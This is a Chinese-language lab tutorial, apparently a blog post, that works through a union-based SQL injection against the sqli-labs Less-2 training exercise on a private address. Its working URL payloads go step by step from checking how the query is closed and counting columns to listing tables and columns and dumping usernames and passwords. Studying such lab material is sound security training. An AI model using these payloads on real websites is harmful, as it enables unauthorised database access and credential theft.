SQL注入语句

对于SQL语句注入来说
最重要的是利用其系统已存在的一个information.Schema
其中schemata是用来查询库名称
Tables用来查询表名称
Columns用来查询列名称
Order by语句用来判断当前库的列数
Select用来查询库中的信息
关于SQL注入的相关流程
1.首先判断注入语句变量的闭合类型,例如?Id=1’或者?Id=$id或者id=1”等等闭合类型,保证输入以后的URL可以显示正常界面
例如192.168.66.129/sqli-labs-master/Less-2/?id =1 and 1=2 --+(判断闭合类型语句)

其中–+表示#通过URL转码的原始代码
union all联合查询语句,作用联合查询多张表 (利用此语句进行后台SQL写入)
http://192.168.225.129/sqli-labs-master/Less-2/?id=1 and 1=2 --+
在这里插入图片描述

闭合方式正确 id =1
2.查询当前一共有多少列
http://192.168.225.129/sqli-labs-master/Less-2/?id=1 order by 4–+

说明他的列数小于4

http://192.168.225.129/sqli-labs-master/Less-2/?id=1 order by 3–+
在这里插入图片描述
说明列数等于3
3.写入select语句取用信息
http://192.168.225.129/sqli-labs-master/Less-2/?id=-1 union all select 1,database(),3–+
在这里插入图片描述
说明库名为security;

4.由库名得到表名:
http://192.168.225.129/sqli-labs-master/Less-2/?id=-1 union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“security”–+

在这里插入图片描述
5.在表中得到有用信息查询users
http://192.168.225.129/sqli-labs-master/Less-2/?id=-1 union all select 1,group_concat(column_name),3 from information_schema.columns where table_name=“users” and table_schema= “security”–+
在这里插入图片描述
6.输出获取到的用户名和密码:
http://192.168.225.129/sqli-labs-master/Less-2/?id=-1 union all select 1,group_concat(username),group_concat(password) from users–+

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值